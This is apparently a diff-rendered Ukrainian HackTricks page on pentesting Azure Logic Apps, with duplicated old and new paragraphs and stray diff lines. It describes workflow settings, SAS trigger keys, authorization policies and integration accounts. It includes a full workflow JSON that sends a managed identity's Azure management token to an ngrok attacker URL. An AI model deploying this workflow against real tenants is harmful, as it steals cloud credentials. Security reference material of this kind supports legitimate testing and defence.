- З точки зору тільки для читання, дані **Аутентифікації** завжди цікаві, оскільки можуть містити чутливу інформацію.
|
||||
- З точки зору запису, дані **Аутентифікації** завжди цікаві, оскільки можуть дозволити використовувати дозволи призначених керованих ідентичностей.
|
||||
- ...
|
||||
|
||||
Робочий процес має різні налаштування, такі як:
|
||||
- Дозволені вхідні IP-адреси: це налаштування дозволяє обмежити, хто може викликати або запускати ваш Logic App. Варіанти: будь-яка IP-адреса, лише інші Logic Apps та конкретні діапазони IP.
|
||||
- Інтеграційний обліковий запис: тут ви можете зв'язати свій Logic App з інтеграційним обліковим записом.
|
||||
- Висока пропускна здатність: це налаштування дозволяє вашому Logic App швидше обробляти більше запитів.
|
||||
- Збереження історії виконання: на який термін зберігається історія виконання вашого Logic App.
|
||||
Дії також мають різні **налаштування**, які залежать від самої дії. Деякі з найпоширеніших налаштувань:
|
||||
|
||||
Ви можете бачити різні API з'єднання, які має робочий процес. Усередині кожного з цих з'єднань є різні властивості та можливість редагувати API з'єднання, де тип аутентифікації може бути змінений.
|
||||
- **Політика повторних спроб**: Налаштовує кількість повторних спроб та інтервал між ними.
|
||||
- **Тайм-аут**: Встановлює максимальний час, протягом якого дія може виконуватися, перш ніж вона завершиться.
|
||||
- **Виконати після**: Вказує умови, які повинні бути виконані перед виконанням дії.
|
||||
- **Перевірка схеми**: Забезпечує, щоб вхідні дані відповідали попередньо визначеній структурі.
|
||||
- **Мережа**: Налаштовує, як управляти різними заголовками.
|
||||
- **Безпечні вхідні/вихідні дані**: Це приховає вхідні/вихідні дані з історії виконання.
|
||||
- ...
|
||||
|
||||
**Історія та версії:**
|
||||
Є можливість доступу до **історії** різних виконань, вона показує Налаштування, Вихід, Параметри та Код.
|
||||
### Політики авторизації
|
||||
|
||||
Також є можливість доступу до різних **версій** робочого процесу, де ви можете перевірити код і змінити поточний робочий процес на старішу версію.
|
||||
|
||||
**Авторизація:**
|
||||
Azure Logic Apps підтримують **політики авторизації** з Entra ID для захисту тригерів на основі запитів, вимагаючи дійсний токен доступу. Цей токен повинен містити специфічні вимоги:
|
||||
Ці робочі процеси підтримують **політики авторизації** з Entra ID для захисту тригерів на основі запитів, вимагаючи дійсний токен доступу. Цей токен повинен містити специфічні вимоги:
|
||||
- Видавець (iss) для перевірки постачальника ідентичності
|
||||
- Аудиторія (aud) для забезпечення того, що токен призначений для Logic App
|
||||
- Суб'єкт (sub) для ідентифікації виклику
|
||||
- JWT ID (ідентифікатор JSON Web Token)
|
||||
- Користувацький запит
|
||||
|
||||
Коли запит отримується, Logic Apps перевіряє токен на відповідність цим вимогам і дозволяє виконання лише у разі їх відповідності налаштованій політиці. Це може бути використано для дозволу іншому орендарю викликати робочий процес або відмови у виклику з інших джерел, наприклад, дозволяючи тригер лише у разі, якщо він надходить з https://login.microsoftonline.com/.
|
||||
Коли запит отримується, Logic Apps перевіряє токен на відповідність цим вимогам і дозволяє виконання лише у разі їх відповідності налаштованій політиці. Це може бути використано для дозволу іншому орендарю викликати робочий процес або відмови у тригері з інших джерел, наприклад, дозволяючи тригер лише якщо він надходить з https://login.microsoftonline.com/.
|
||||
|
||||
**Ключі доступу:**
|
||||
Коли ви вперше зберігаєте тригер на основі запиту, Logic Apps автоматично створює унікальну кінцеву точку з підписом SAS (створеним з Access Key), який надає дозвіл на виклик робочого процесу. Цей підпис SAS вбудований в URL тригера. Цей ключ може бути згенерований заново, і він надасть новий підпис SAS, але ключі не можуть бути перераховані.
|
||||
### Ключі доступу
|
||||
|
||||
URL для виклику з Access Key:
|
||||
Робочі процеси **генерують 2 ключі доступу** під час їх створення. Ці ключі використовуються для аутентифікації та авторизації запитів до робочого процесу. Ключі використовуються для генерації токена Shared Access Signature (SAS), який включається в URL запиту.
|
||||
|
||||
Отже, коли створюється тригер HTTP-інтерфейсу, генерується **унікальний HTTP-інтерфейс з підписом SAS**, який надає дозвіл на виклик робочого процесу.
|
||||
|
||||
Ці **ключі можуть бути згенеровані заново** і буде створено новий SAS URL для цих тригерів, але **значення ключів не можуть бути доступні**.
|
||||
|
||||
Приклад SAS URL для виклику тригера:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Налаштування робочого процесу та компоненти
|
||||
|
||||
- **Опція доступу до тригера**: Ця настройка дозволяє обмежити, хто може запускати або починати ваш робочий процес. Варіанти: Будь-яка IP-адреса, Тільки інший робочий процес та Конкретні діапазони IP.
|
||||
- **Обліковий запис інтеграції**: Підключіть ваш робочий процес до облікового запису інтеграції.
|
||||
- **Висока пропускна здатність**: Якщо увімкнено, це дозволяє швидше обробляти більше запитів паралельно.
|
||||
- **Збереження історії виконання**: Це вказує на кількість днів, протягом яких зберігатиметься історія виконання.
|
||||
- **API-з'єднання**: Це показує різні API-з'єднання, які має робочий процес. У кожному з цих з'єднань є різні властивості та можливість редагувати API-з'єднання, де можна змінити тип автентифікації.
|
||||
- **Історія**: Має опцію доступу до **історії** старих виконань та отримання даних: Налаштування, Вихід, Параметри та Код.
|
||||
- **Версії**: Має опцію доступу до різних **версій** робочого процесу, де ви можете перевірити код і змінити поточний робочий процес на старішу версію.
|
||||
- **Керовані ідентичності**: Можливо призначити 1 системну керовану ідентичність та ідентичність користувача, що керується сервером, для робочого процесу.
|
||||
|
||||
### Витік токенів доступу MI
|
||||
|
||||
HTTP-дія в робочому процесі може бути використана для відправки даних на зовнішній веб-сайт. У **Розширених параметрах** HTTP-дії можливо налаштувати **Тип автентифікації** як **`Managed identity`** і потім вибрати **призначену керовану ідентичність** для використання (системну або користувацьку).
|
||||
|
||||
Крім того, можливо вказати в **`Audience`** аудиторію згенерованого JWT, яка може бути, наприклад, **`https://management.azure.com/`**, щоб мати можливість використовувати згенерований токен для доступу до Azure management API.
|
||||
|
||||
> [!WARNING]
|
||||
> Зробивши так, щоб дія відправляла HTTP-запит на сервер, контрольований зловмисником, можливо **викрити токен доступу керованої ідентичності**, призначеної для робочого процесу.
|
||||
|
||||
> [!TIP]
|
||||
> Зловмисник також може використовувати інші типи дій, щоб **безпосередньо отримати доступ до інших служб Azure** та виконувати дії з правами керованої ідентичності.
|
||||
|
||||
Це код робочого процесу, який відкриває HTTP-інтерфейс і потім використовує HTTP-дію для витоку токена доступу на налаштовану URL-адресу (ngrok у цьому випадку):
|
||||
|
||||
<details>
|
||||
<summary>Код робочого процесу</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## Logic Apps / Standard Plan
|
||||
|
||||
### Відмінності з "Одиночними" Робочими Процесами
|
||||
|
||||
Logic apps в основному використовують App Service у фоновому режимі для **хостингу логічного додатку, який може хостити кілька робочих процесів**. Це означає, що логічний додаток матиме всі функції App Service та "Одиночних" Робочих Процесів.
|
||||
|
||||
Деякі ключові функції:
|
||||
|
||||
- **App Service Plan**: Logic Apps у стандартному плані хостяться на App Service Plan, тому можливо використовувати всі функції App Service, такі як:
|
||||
- **Обмеження Мережі**: Вказати, звідки доступно.
|
||||
- **Центр Розгортання**: Розгортати з зовнішніх платформ, таких як Github, Bitbucket, Azure Repos, External Git та Local Git.
|
||||
- **Доступ через FTP**: Можливо отримати доступ до файлів Logic App через FTP.
|
||||
- **Обліковий запис зберігання**: Сервісний додаток використовує обліковий запис зберігання для зберігання інформації.
|
||||
- **Змінні середовища та Налаштування Додатків**: Можливо налаштувати змінні середовища та налаштування додатків (і знайти чутливу інформацію, таку як ключі доступу до облікового запису зберігання).
|
||||
- ...
|
||||
- **Параметри**: Параметри дозволяють керувати значеннями, які змінюються між розробкою, тестуванням та виробництвом. Це дозволяє спочатку проектувати робочі процеси, а потім легко налаштовувати специфічні для середовища налаштування пізніше.
|
||||
- **Виділені Ресурси**: Logic Apps у стандартному плані мають виділені ресурси.
|
||||
- **Кілька Робочих Процесів**: Дозволяє створювати кілька робочих процесів.
|
||||
|
||||
Для отримання додаткової інформації про App Services перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Перерахування
|
||||
|
||||
@@ -203,17 +279,19 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Інтеграційні облікові записи
|
||||
|
||||
|
||||
## Інтеграційні облікові записи
|
||||
**Інтеграційні облікові записи** - це функція Azure Logic Apps. Інтеграційні облікові записи використовуються для полегшення інтеграцій на рівні підприємства, забезпечуючи розширені можливості B2B, такі як EDI, AS2 та управління XML-схемами. Інтеграційні облікові записи є контейнером в Azure, який зберігає наступні артефакти, що використовуються для Logic Apps:
|
||||
|
||||
* Схеми: Управління XML-схемами для валідації та обробки повідомлень у вашому інтеграційному обліковому записі.
|
||||
* Карти: Налаштування трансформацій на основі XSLT для перетворення форматів даних у ваших інтеграційних робочих процесах.
|
||||
* Збірки: Управління збірками інтеграційного облікового запису для оптимізації логіки та обробки даних.
|
||||
* Сертифікати: Обробка сертифікатів для шифрування та підписування повідомлень, забезпечуючи безпечну комунікацію.
|
||||
* Партнери: Управління інформацією про торгових партнерів для B2B-транзакцій, що забезпечує безперебійну інтеграцію.
|
||||
* Угоди: Налаштування правил і параметрів для обміну даними з торговими партнерами (наприклад, EDI, AS2).
|
||||
* Конфігурації пакетної обробки: Управління конфігураціями пакетної обробки для групування та ефективної обробки повідомлень.
|
||||
* RosettaNet PIP: Налаштування процесів інтерфейсу партнерів RosettaNet (PIP) для стандартизації B2B-комунікації.
|
||||
* **Схеми**: Управління XML-схемами для валідації та обробки повідомлень у вашому інтеграційному обліковому записі.
|
||||
* **Картки**: Налаштування трансформацій на основі XSLT для перетворення форматів даних у ваших інтеграційних робочих процесах.
|
||||
* **Збірки**: Управління збірками інтеграційного облікового запису для оптимізації логіки та обробки даних.
|
||||
* **Сертифікати**: Обробка сертифікатів для шифрування та підписування повідомлень, забезпечуючи безпечну комунікацію.
|
||||
* **Партнери**: Управління інформацією про торгових партнерів для B2B-транзакцій, що забезпечує безперебійну інтеграцію.
|
||||
* **Угоди**: Налаштування правил і параметрів для обміну даними з торговими партнерами (наприклад, EDI, AS2).
|
||||
* **Конфігурації пакетної обробки**: Управління конфігураціями пакетної обробки для групування та ефективної обробки повідомлень.
|
||||
* **RosettaNet PIP**: Налаштування процесів інтерфейсу партнерів RosettaNet (PIP) для стандартизації B2B-комунікації.
|
||||
|
||||
#### Перерахування
|
||||
|
||||
@@ -323,10 +401,16 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Після Експлуатації
|
||||
## Постексплуатація
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Персистентність
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user